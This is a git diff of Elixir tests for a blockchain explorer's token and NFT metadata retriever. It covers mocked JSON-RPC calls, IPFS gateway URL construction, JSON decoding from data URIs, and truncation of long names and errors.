%{"type" => "string", "name" => ""} - ], - "name" => "tokenURI", - "inputs" => [ - %{ - "type" => "uint256", - "name" => "_tokenId" - } - ], - "constant" => true - } - ] - - @abi_uri [ - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [ - %{ - "type" => "string", - "name" => "", - "internalType" => "string" - } - ], - "name" => "uri", - "inputs" => [ - %{ - "type" => "uint256", - "name" => "_id", - "internalType" => "uint256" - } - ], - "constant" => true - } - ] - - describe "fetch_metadata/2" do - @tag :no_parity - @tag :no_geth - test "fetches json metadata", %{json_rpc_named_arguments: json_rpc_named_arguments} do - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_call", - params: [ - %{ - data: - "0xc87b56dd000000000000000000000000000000000000000000000000fdd5b9fa9d4bfb20", - to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" - }, - "latest" - ] - } - ], - _options -> - {:ok, - [ - %{ - id: 0, - jsonrpc: "2.0", - result: - "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000003568747470733a2f2f7661756c742e7761727269646572732e636f6d2f31383239303732393934373636373130323439362e6a736f6e0000000000000000000000" - } - ]} - end) - end - - assert %{ - "c87b56dd" => {:ok, ["https://vault.warriders.com/18290729947667102496.json"]} - } == - InstanceMetadataRetriever.query_contract( - "0x5caebd3b32e210e85ce3e9d51638b9c445481567", - %{ - "c87b56dd" => [18_290_729_947_667_102_496] - }, - @abi - ) - end - - test "fetches json metadata for ERC-1155 token", %{json_rpc_named_arguments: json_rpc_named_arguments} do - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_call", - params: [ - %{ - data: - "0x0e89341c000000000000000000000000000000000000000000000000fdd5b9fa9d4bfb20", - to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" - }, - "latest" - ] - } - ], - _options -> - {:ok, - [ - %{ - id: 0, - jsonrpc: "2.0", - result: - "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000003568747470733a2f2f7661756c742e7761727269646572732e636f6d2f31383239303732393934373636373130323439362e6a736f6e0000000000000000000000" - } - ]} - end) - end - - assert %{ - "0e89341c" => {:ok, ["https://vault.warriders.com/18290729947667102496.json"]} - } == - InstanceMetadataRetriever.query_contract( - "0x5caebd3b32e210e85ce3e9d51638b9c445481567", - %{ - "0e89341c" => [18_290_729_947_667_102_496] - }, - @abi_uri - ) - end - end - - describe "fetch_json/1" do - setup do - bypass = Bypass.open() - - {:ok, bypass: bypass} - end - - test "fetches json with latin1 encoding", %{bypass: bypass} do - json = """ - { - "name": "Sérgio Mendonça" - } - """ - - Bypass.expect(bypass, "GET", "/api/card/55265", fn conn -> - Conn.resp(conn, 200, json) - end) - - assert {:ok, %{metadata: %{"name" => "Sérgio Mendonça"}}} == - InstanceMetadataRetriever.fetch_json(%{ - "c87b56dd" => {:ok, ["http://localhost:#{bypass.port}/api/card/55265"]} - }) - end - - test "decodes json file in tokenURI" do - data = %{ - "c87b56dd" => - {:ok, - [ - "data:application/json,{\"name\":\"Home%20Address%20-%200x0000000000C1A6066c6c8B9d63e9B6E8865dC117\",\"description\":\"This%20NFT%20can%20be%20redeemed%20on%20HomeWork%20to%20grant%20a%20controller%20the%20exclusive%20right%20to%20deploy%20contracts%20with%20arbitrary%20bytecode%20to%20the%20designated%20home%20address.\",\"image\":\"data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNDQgNzIiPjxzdHlsZT48IVtDREFUQVsuQntzdHJva2UtbGluZWpvaW46cm91bmR9LkN7c3Ryb2tlLW1pdGVybGltaXQ6MTB9LkR7c3Ryb2tlLXdpZHRoOjJ9LkV7ZmlsbDojOWI5YjlhfS5Ge3N0cm9rZS1saW5lY2FwOnJvdW5kfV1dPjwvc3R5bGU+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS4wMiAwIDAgMS4wMiA4LjEgMCkiPjxwYXRoIGZpbGw9IiNmZmYiIGQ9Ik0xOSAz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jItMTMuNi0xLjMtMy45LTExLjgtMTUuN3oiLz48cGF0aCBkPSJNMTIgMTkuOWw1LjkgNy45IDEwLjItNy42LTMuNC00LjVzNi44LTUuMSAxMC43LTQuNWMwIDAtNi42LTMtMTMuMyAxLjFTMTIgMTkuOSAxMiAxOS45eiIgY2xhc3M9IkUiLz48ZyBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIGNsYXNzPSJCIEMgRCI+PHBhdGggZD0iTTUyIDU4LjlMNDAuOSA0My4ybC0zLjEtMi4zLTEwLjYtMTQuNy0yLjkgMi4yIDEwLjYgMTQuNyAxLjEgMy42IDExLjUgMTUuNXpNMTIuNSAxOS44bDUuOCA4IDEwLjMtNy40LTMuMy00LjZzNi45LTUgMTAuOC00LjNjMCAwLTYuNi0zLjEtMTMuMy45cy0xMC4zIDcuNC0xMC4zIDcuNHptLTIuNiAyLjlsNC43IDYuNWMtLjUgMS4zLTEuNyAyLjEtMyAyLjJsLTQuNy02LjVjLjMtMS40IDEuNi0yLjQgMy0yLjJ6Ii8+PHBhdGggZD0iTTQxLjMgMzguNWw1LjEtNi41bS0zLjUtMi43bC00LjYgNS44bTguMS0zLjFjMy4yIDIuNiA4LjcgMS4yIDEyLjEtMy4yczMuNi05LjkuMy0xMi41bC01LjEgNi41LTIuOC0uMS0uOC0yLjcgNS4xLTYuNWMtMy4yLTIuNi04LjctMS4yLTEyLjEgMy4yLTMuNCA0LjMtMy42IDkuOS0uMyAxMi41IiBjbGFzcz0iRiIvPjxwYXRoIGQ9Ik0zMC44IDQ0LjRMMTkgNTguOWw0IDMgMTAtMTIuNyIgY2xhc3M9IkYiLz48L2c+PC9nPjwvc3ZnPg==\"}" - ]} - } - - assert InstanceMetadataRetriever.fetch_json(data) == - {:ok, - %{ - metadata: %{ - "description" => - "This NFT can be redeemed on HomeWork to grant a controller the exclusive right to deploy contracts with arbitrary bytecode to the designated home address.", - "image" => - "data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cD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i04LjctMS4yLTEyLjEgMy4yLTMuNCA0LjMtMy42IDkuOS0uMyAxMi41IiBjbGFzcz0iRiIvPjxwYXRoIGQ9Ik0zMC44IDQ0LjRMMTkgNTguOWw0IDMgMTAtMTIuNyIgY2xhc3M9IkYiLz48L2c+PC9nPjwvc3ZnPg==", - "name" => "Home Address - 0x0000000000C1A6066c6c8B9d63e9B6E8865dC117" - } - }} - end - end -end diff --git a/apps/explorer/test/explorer/token/metadata_retriever_test.exs b/apps/explorer/test/explorer/token/metadata_retriever_test.exs index 9f8ead7468d8..ce8300e85529 100644 --- a/apps/explorer/test/explorer/token/metadata_retriever_test.exs +++ b/apps/explorer/test/explorer/token/metadata_retriever_test.exs @@ -3,6 +3,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do use Explorer.DataCase alias Explorer.Token.MetadataRetriever + alias Plug.Conn import Mox @@ -56,7 +57,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do decimals: 18 } - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == expected + assert MetadataRetriever.get_functions_of(token) == expected end test "returns results for multiple coins" do @@ -112,7 +113,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do total_supply: 1_000_000_000_000_000_000, decimals: 18 } - ]} = MetadataRetriever.get_functions_of([token.contract_address_hash, token.contract_address_hash]) + ]} = MetadataRetriever.get_functions_of([token, token]) end test "returns only the functions that were read without error" do @@ -184,7 +185,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do total_supply: 1_000_000_000_000_000_000 } - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == expected + assert MetadataRetriever.get_functions_of(token) == expected end test "considers the contract address formatted hash when it is an invalid string" do @@ -234,7 +235,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do symbol: "BNT" } - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == expected + assert MetadataRetriever.get_functions_of(token) == expected end test "considers the symbol nil when it is an invalid string" do @@ -283,7 +284,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do symbol: nil } - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == expected + assert MetadataRetriever.get_functions_of(token) == expected Application.put_env(:explorer, :token_functions_reader_max_retries, original) end @@ -337,7 +338,59 @@ defmodule Explorer.Token.MetadataRetrieverTest do symbol: "BNT" } - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == expected + assert MetadataRetriever.get_functions_of(token) == expected + end + + test "shortens strings larger than 255 characters with unicode graphemes" do + long_token_name_shortened = + "文章の論旨や要点を短くまとめて表現する要約文。学生の頃、レポート作成などで書いた経験があるものの、それ以降はまったく書いていないという人は多いことでしょう。 しかし、文章" + + token = insert(:token, contract_address: build(:contract_address)) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + 1, + fn requests, _opts -> + {:ok, + Enum.map(requests, fn + %{id: id, method: "eth_call", params: [%{data: "0x313ce567", to: _}, "latest"]} -> + %{ + id: id, + result: "0x0000000000000000000000000000000000000000000000000000000000000012" + } + + %{id: id, method: "eth_call", params: [%{data: "0x06fdde03", to: _}, "latest"]} -> + %{ + id: id, + result: + "0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000128e69687e7aba0e381aee8ab96e697a8e38284e8a681e782b9e38292e79fade3818fe381bee381a8e38281e381a6e8a1a8e78fbee38199e3828be8a681e7b484e69687e38082e5ada6e7949fe381aee9a083e38081e383ace3839de383bce38388e4bd9ce68890e381aae381a9e381a7e69bb8e38184e3819fe7b58ce9a893e3818ce38182e3828be38282e381aee381aee38081e3819de3828ce4bba5e9998de381afe381bee381a3e3819fe3818fe69bb8e38184e381a6e38184e381aae38184e381a8e38184e38186e4babae381afe5a49ae38184e38193e381a8e381a7e38197e38287e38186e380822020e38197e3818be38197e38081e69687e7aba0e4bd9ce68890e3818ce88ba6e6898be381aae4babae38284e38081e69687e7aba0e3818ce3828fe3818b000000000000000000000000000000000000000000000000" + } + + %{id: id, method: "eth_call", params: [%{data: "0x95d89b41", to: _}, "latest"]} -> + %{ + id: id, + result: + "0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003424e540000000000000000000000000000000000000000000000000000000000" + } + + %{id: id, method: "eth_call", params: [%{data: "0x18160ddd", to: _}, "latest"]} -> + %{ + id: id, + result: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000" + } + end)} + end + ) + + expected = %{ + name: long_token_name_shortened, + decimals: 18, + total_supply: 1_000_000_000_000_000_000, + symbol: "BNT" + } + + assert MetadataRetriever.get_functions_of(token) == expected end test "retries when some function gave error" do @@ -403,7 +456,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do decimals: 18 } - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == expected + assert MetadataRetriever.get_functions_of(token) == expected end test "retries according to the configured number" do @@ -474,7 +527,7 @@ defmodule Explorer.Token.MetadataRetrieverTest do end ) - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == %{ + assert MetadataRetriever.get_functions_of(token) == %{ name: "Bancor", total_supply: 1_000_000_000_000_000_000 } @@ -527,6 +580,621 @@ defmodule Explorer.Token.MetadataRetrieverTest do total_supply: 1_000_000_000_000_000_000_000_000 } - assert MetadataRetriever.get_functions_of(token.contract_address_hash) == expected + assert MetadataRetriever.get_functions_of(token) == expected + end + + describe "fetch_json/4" do + setup do + bypass = Bypass.open() + + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + {:ok, bypass: bypass} + end + + test "returns {:error, @no_uri_error} when empty uri is passed" do + error = {:error, "no uri"} + token_id = "TOKEN_ID" + hex_token_id = "HEX_TOKEN_ID" + from_base_uri = true + + result = MetadataRetriever.fetch_json({:ok, [""]}, token_id, hex_token_id, from_base_uri) + + assert result == error + end + + test "returns {:error, @vm_execution_error} when 'execution reverted' error passed in uri" do + uri_error = {:error, "something happened: execution reverted"} + token_id = "TOKEN_ID" + hex_token_id = "HEX_TOKEN_ID" + from_base_uri = true + result_error = {:error, "VM execution error"} + + result = MetadataRetriever.fetch_json(uri_error, token_id, hex_token_id, from_base_uri) + + assert result == result_error + end + + test "returns {:error, @vm_execution_error} when 'VM execution error' error passed in uri" do + error = {:error, "VM execution error"} + token_id = "TOKEN_ID" + hex_token_id = "HEX_TOKEN_ID" + from_base_uri = true + + result = MetadataRetriever.fetch_json(error, token_id, hex_token_id, from_base_uri) + + assert result == error + end + + test "returns {:error, error} when all other errors passed in uri" do + error = {:error, "Some error"} + token_id = "TOKEN_ID" + hex_token_id = "HEX_TOKEN_ID" + from_base_uri = true + + result = MetadataRetriever.fetch_json(error, token_id, hex_token_id, from_base_uri) + + assert result == error + end + + test "returns {:error, truncated_error} when long error passed in uri" do + error = + {:error, + "ERROR: Unable to establish a connection to the database server. The database server may be offline, or there could be a network issue preventing access. Please ensure that the database server is running and that the network configuration is correct. Additionally, check the database credentials and permissions to ensure they are valid. If the issue persists, contact your system administrator for further assistance. Error code: DB_CONN_FAILED_101234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"} + + token_id = "TOKEN_ID" + hex_token_id = "HEX_TOKEN_ID" + from_base_uri = true + + truncated_error = + {:error, + "ERROR: Unable to establish a connection to the database server. The database server may be offline, or there could be a network issue preventing access. Please ensure that the database server is running and that the network configuration is correct. Ad..."} + + result = MetadataRetriever.fetch_json(error, token_id, hex_token_id, from_base_uri) + + assert result == truncated_error + end + + test "Constructs IPFS link with query param" do + configuration = Application.get_env(:indexer, :ipfs) + + Application.put_env(:indexer, :ipfs, + gateway_url: Keyword.get(configuration, :gateway_url), + gateway_url_param_location: :query, + gateway_url_param_key: "x-apikey", + gateway_url_param_value: "mykey" + ) + + data = "QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + + result = %{ + "name" => "asda", + "description" => "asda", + "salePrice" => 34, + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "collectionId" => "1871_1665123820823" + } + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "https://ipfs.io/ipfs/QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP?x-apikey=mykey"}, + _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(result) + }} + end + ) + + assert {:ok, + %{ + metadata: %{ + "collectionId" => "1871_1665123820823", + "description" => "asda", + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "name" => "asda", + "salePrice" => 34 + } + }} == MetadataRetriever.fetch_json({:ok, [data]}) + + Application.put_env(:indexer, :ipfs, configuration) + end + + test "Constructs IPFS link with no query param, if gateway_url_param_location is invalid" do + configuration = Application.get_env(:indexer, :ipfs) + + Application.put_env(:indexer, :ipfs, + gateway_url: Keyword.get(configuration, :gateway_url), + gateway_url_param_location: :query2, + gateway_url_param_key: "x-apikey", + gateway_url_param_value: "mykey" + ) + + data = "QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + + result = %{ + "name" => "asda", + "description" => "asda", + "salePrice" => 34, + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "collectionId" => "1871_1665123820823" + } + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "https://ipfs.io/ipfs/QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(result) + }} + end + ) + + assert {:ok, + %{ + metadata: %{ + "collectionId" => "1871_1665123820823", + "description" => "asda", + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "name" => "asda", + "salePrice" => 34 + } + }} == MetadataRetriever.fetch_json({:ok, [data]}) + + Application.put_env(:indexer, :ipfs, configuration) + end + + test "Constructs IPFS link with additional header" do + configuration = Application.get_env(:indexer, :ipfs) + + Application.put_env(:indexer, :ipfs, + gateway_url: Keyword.get(configuration, :gateway_url), + gateway_url_param_location: :header, + gateway_url_param_key: "x-apikey", + gateway_url_param_value: "mykey" + ) + + data = "QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + + result = %{ + "name" => "asda", + "description" => "asda", + "salePrice" => 34, + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "collectionId" => "1871_1665123820823" + } + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{ + url: "https://ipfs.io/ipfs/QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP", + headers: [{"x-apikey", "mykey"}, {"User-Agent", _}] + }, + _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(result) + }} + end + ) + + assert {:ok, + %{ + metadata: %{ + "collectionId" => "1871_1665123820823", + "description" => "asda", + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "name" => "asda", + "salePrice" => 34 + } + }} == MetadataRetriever.fetch_json({:ok, [data]}) + + Application.put_env(:indexer, :ipfs, configuration) + end + + test "fetches json with latin1 encoding", %{bypass: bypass} do + path = "/api/card/55265" + + json = """ + { + "name": "Sérgio Mendonça" + } + """ + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect(bypass, "GET", path, fn conn -> + Conn.resp(conn, 200, json) + end) + + url = "http://localhost:#{bypass.port}#{path}" + + assert {:ok_store_uri, %{metadata: %{"name" => "Sérgio Mendonça"}}, url} == + MetadataRetriever.fetch_json({:ok, [url]}) + end + + test "fetches json metadata when HTTP status 301", %{bypass: bypass} do + path = "/1302" + + attributes = """ + [ + {"trait_type": "Mouth", "value": "Discomfort"}, + {"trait_type": "Background", "value": "Army Green"}, + {"trait_type": "Eyes", "value": "Wide Eyed"}, + {"trait_type": "Fur", "value": "Black"}, + {"trait_type": "Earring", "value": "Silver Hoop"}, + {"trait_type": "Hat", "value": "Sea Captain's Hat"} + ] + """ + + json = """ + { + "attributes": #{attributes} + } + """ + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect(bypass, "GET", path, fn conn -> + Conn.resp(conn, 200, json) + end) + + url = "http://localhost:#{bypass.port}#{path}" + + {:ok_store_uri, %{metadata: metadata}, ^url} = + MetadataRetriever.fetch_metadata_from_uri(url, []) + + assert Map.get(metadata, "attributes") == Jason.decode!(attributes) + end + + test "decodes json file in tokenURI" do + data = + {:ok, + [ + "data:application/json,{\"name\":\"Home%20Address%20-%200x0000000000C1A6066c6c8B9d63e9B6E8865dC117\",\"description\":\"This%20NFT%20can%20be%20redeemed%20on%20HomeWork%20to%20grant%20a%20controller%20the%20exclusive%20right%20to%20deploy%20contracts%20with%20arbitrary%20bytecode%20to%20the%20designated%20home%20address.\",\"image\":\"data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNDQgNzIiPjxzdHlsZT48IVtDREFUQVsuQntzdHJva2UtbGluZWpvaW46cm91bmR9LkN7c3Ryb2tlLW1pdGVybGltaXQ6MTB9LkR7c3Ryb2tlLXdpZHRoOjJ9LkV7ZmlsbDojOWI5YjlhfS5Ge3N0cm9rZS1saW5lY2FwOnJvdW5kfV1dPjwvc3R5bGU+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS4wMiAwIDAgMS4wMiA4LjEgMCkiPjxwYXRoIGZpbGw9IiNmZmYiIGQ9Ik0xOSAzMmgzNHYyNEgxOXoiLz48ZyBzdHJva2U9IiMwMDAiIGNsYXNzPSJCIEMgR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Ww1LjkgNy45IDEwLjItNy42LTMuNC00LjVzNi44LTUuMSAxMC43LTQuNWMwIDAtNi42LTMtMTMuMyAxLjFTMTIgMTkuOSAxMiAxOS45eiIgY2xhc3M9IkUiLz48ZyBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIGNsYXNzPSJCIEMgRCI+PHBhdGggZD0iTTUyIDU4LjlMNDAuOSA0My4ybC0zLjEtMi4zLTEwLjYtMTQuNy0yLjkgMi4yIDEwLjYgMTQuNyAxLjEgMy42IDExLjUgMTUuNXpNMTIuNSAxOS44bDUuOCA4IDEwLjMtNy40LTMuMy00LjZzNi45LTUgMTAuOC00LjNjMCAwLTYuNi0zLjEtMTMuMy45cy0xMC4zIDcuNC0xMC4zIDcuNHptLTIuNiAyLjlsNC43IDYuNWMtLjUgMS4zLTEuNyAyLjEtMyAyLjJsLTQuNy02LjVjLjMtMS40IDEuNi0yLjQgMy0yLjJ6Ii8+PHBhdGggZD0iTTQxLjMgMzguNWw1LjEtNi41bS0zLjUtMi43bC00LjYgNS44bTguMS0zLjFjMy4yIDIuNiA4LjcgMS4yIDEyLjEtMy4yczMuNi05LjkuMy0xMi41bC01LjEgNi41LTIuOC0uMS0uOC0yLjcgNS4xLTYuNWMtMy4yLTIuNi04LjctMS4yLTEyLjEgMy4yLTMuNCA0LjMtMy42IDkuOS0uMyAxMi41IiBjbGFzcz0iRiIvPjxwYXRoIGQ9Ik0zMC44IDQ0LjRMMTkgNTguOWw0IDMgMTAtMTIuNyIgY2xhc3M9IkYiLz48L2c+PC9nPjwvc3ZnPg==\"}" + ]} + + assert MetadataRetriever.fetch_json(data) == + {:ok, + %{ + metadata: %{ + "description" => + "This NFT can be redeemed on HomeWork to grant a controller the exclusive right to deploy contracts with arbitrary bytecode to the designated home address.", + "image" => + "data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNDQgNzIiPjxzdHls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iRiIvPjxwYXRoIGQ9Ik0zMC44IDQ0LjRMMTkgNTguOWw0IDMgMTAtMTIuNyIgY2xhc3M9IkYiLz48L2c+PC9nPjwvc3ZnPg==", + "name" => "Home Address - 0x0000000000C1A6066c6c8B9d63e9B6E8865dC117" + } + }} + end + + test "decodes base64 encoded json file in tokenURI" do + data = + {:ok, + [ + "data:application/json;base64,eyJuYW1lIjogIi54ZGFpIiwgImRlc2NyaXB0aW9uIjogIlB1bmsgRG9tYWlucyBkaWdpdGFsIGlkZW50aXR5LiBWaXNpdCBodHRwczovL3B1bmsuZG9tYWlucy8iLCAiaW1hZ2UiOiAiZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpSUhacFpYZENiM2c5SWpBZ01DQTFNREFnTlRBd0lpQjNhV1IwYUQwaU5UQXdJaUJvWldsbmFIUTlJalV3TUNJK1BHUmxabk0rUEd4cGJtVmhja2R5WVdScFpXNTBJR2xrUFNKbmNtRmtJaUI0TVQwaU1DVWlJSGt4UFNJd0pTSWdlREk5SWpFd01DVWlJSGt5UFNJd0pTSStQSE4wYjNBZ2IyWm1jMlYwUFNJd0pTSWdjM1I1YkdVOUluTjBiM0F0WTI5c2IzSTZjbWRpS0RVNExERTNMREV4TmlrN2MzUnZjQzF2Y0dGamFYUjVPakVpSUM4K1BITjBiM0FnYjJabWMyVjBQU0l4TURBbElpQnpkSGxzWlQwaWMzUnZjQzFqYjJ4dmNqcHlaMklvTVRFMkxESTFMREUzS1R0emRHOXdMVzl3WVdOcGRIazZNU0lnTHo0OEwyeHBibVZoY2tkeVlXUnBaVzUwUGp3dlpHVm1jejQ4Y21WamRDQjRQU0l3SWlCNVBTSXdJaUIzYVdSMGFEMGlOVEF3SWlCb1pXbG5hSFE5SWpVd01DSWdabWxzYkQwaWRYSnNLQ05uY21Ga0tTSXZQangwWlhoMElIZzlJalV3SlNJZ2VUMGlOVEFsSWlCa2IyMXBibUZ1ZEMxaVlYTmxiR2x1WlQwaWJXbGtaR3hsSWlCbWFXeHNQU0ozYUdsMFpTSWdkR1Y0ZEMxaGJtTm9iM0k5SW0xcFpHUnNaU0lnWm05dWRDMXphWHBsUFNKNExXeGhjbWRsSWo0dWVHUmhhVHd2ZEdWNGRENDhkR1Y0ZENCNFBTSTFNQ1VpSUhrOUlqY3dKU0lnWkc5dGFXNWhiblF0WW1GelpXeHBibVU5SW0xcFpHUnNaU0lnWm1sc2JEMGlkMmhwZEdVaUlIUmxlSFF0WVc1amFHOXlQU0p0YVdSa2JHVWlQbkIxYm1zdVpHOXRZV2x1Y3p3dmRHVjRkRDQ4TDNOMlp6ND0ifQ==" + ]} + + assert MetadataRetriever.fetch_json(data) == + {:ok, + %{ + metadata: %{ + "name" => ".xdai", + "description" => "Punk Domains digital identity. Visit https://punk.domains/", + "image" => + "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MDAgNTAwIiB3aWR0aD0iNTAwIiBoZWlnaHQ9IjUwMCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJncmFkIiB4MT0iMCUiIHkxPSIwJSIgeDI9IjEwMCUiIHkyPSIwJSI+PHN0b3Agb2Zmc2V0PSIwJSIgc3R5bGU9InN0b3AtY29sb3I6cmdiKDU4LDE3LDExNik7c3RvcC1vcGFjaXR5OjEiIC8+PHN0b3Agb2Zmc2V0PSIxMDAlIiBzdHlsZT0ic3RvcC1jb2xvcjpyZ2IoMTE2LDI1LDE3KTtzdG9wLW9wYWNpdHk6MSIgLz48L2xpbmVhckdyYWRpZW50PjwvZGVmcz48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iNTAwIiBoZWlnaHQ9IjUwMCIgZmlsbD0idXJsKCNncmFkKSIvPjx0ZXh0IHg9IjUwJSIgeT0iNTAlIiBkb21pbmFudC1iYXNlbGluZT0ibWlkZGxlIiBmaWxsPSJ3aGl0ZSIgdGV4dC1hbmNob3I9Im1pZGRsZSIgZm9udC1zaXplPSJ4LWxhcmdlIj4ueGRhaTwvdGV4dD48dGV4dCB4PSI1MCUiIHk9IjcwJSIgZG9taW5hbnQtYmFzZWxpbmU9Im1pZGRsZSIgZmlsbD0id2hpdGUiIHRleHQtYW5jaG9yPSJtaWRkbGUiPnB1bmsuZG9tYWluczwvdGV4dD48L3N2Zz4=" + } + }} + end + + test "decodes base64 encoded json file (with unicode string) in tokenURI" do + data = + {:ok, + [ + "data:application/json;base64,eyJkZXNjcmlwdGlvbiI6ICJQdW5rIERvbWFpbnMgZGlnaXRhbCBpZGVudGl0eSDDry4gVmlzaXQgaHR0cHM6Ly9wdW5rLmRvbWFpbnMvIn0=" + ]} + + assert MetadataRetriever.fetch_json(data) == + {:ok, + %{ + metadata: %{ + "description" => "Punk Domains digital identity ï. Visit https://punk.domains/" + } + }} + end + + test "fetches image from ipfs link directly" do + path = "/ipfs/bafybeig6nlmyzui7llhauc52j2xo5hoy4lzp6442lkve5wysdvjkizxonu" + + json = """ + { + "image": "https://ipfs.io/ipfs/bafybeig6nlmyzui7llhauc52j2xo5hoy4lzp6442lkve5wysdvjkizxonu" + } + """ + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "https://ipfs.io/ipfs/bafybeig6nlmyzui7llhauc52j2xo5hoy4lzp6442lkve5wysdvjkizxonu"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: json + }} + end + ) + + data = + {:ok, + [ + path + ]} + + assert {:ok, + %{ + metadata: %{ + "image" => "https://ipfs.io/ipfs/bafybeig6nlmyzui7llhauc52j2xo5hoy4lzp6442lkve5wysdvjkizxonu" + } + }} == MetadataRetriever.fetch_json(data) + end + + test "Fetches metadata from ipfs" do + path = "/ipfs/bafybeid4ed2ua7fwupv4nx2ziczr3edhygl7ws3yx6y2juon7xakgj6cfm/51.json" + + json = """ + { + "image": "ipfs://bafybeihxuj3gxk7x5p36amzootyukbugmx3pw7dyntsrohg3se64efkuga/51.png" + } + """ + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "https://ipfs.io/ipfs/bafybeid4ed2ua7fwupv4nx2ziczr3edhygl7ws3yx6y2juon7xakgj6cfm/51.json"}, + _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: json + }} + end + ) + + data = + {:ok, + [ + path + ]} + + {:ok, + %{ + metadata: metadata + }} = MetadataRetriever.fetch_json(data) + + assert "ipfs://bafybeihxuj3gxk7x5p36amzootyukbugmx3pw7dyntsrohg3se64efkuga/51.png" == Map.get(metadata, "image") + end + + test "Fetches metadata from '${url}'", %{bypass: bypass} do + path = "/data/8/8578.json" + url = "http://localhost:#{bypass.port}#{path}" + + data = + {:ok, + [ + "'#{url}'" + ]} + + json = """ + { + "attributes": [ + {"trait_type": "Character", "value": "Blue Suit Boxing Glove"}, + {"trait_type": "Face", "value": "Wink"}, + {"trait_type": "Hat", "value": 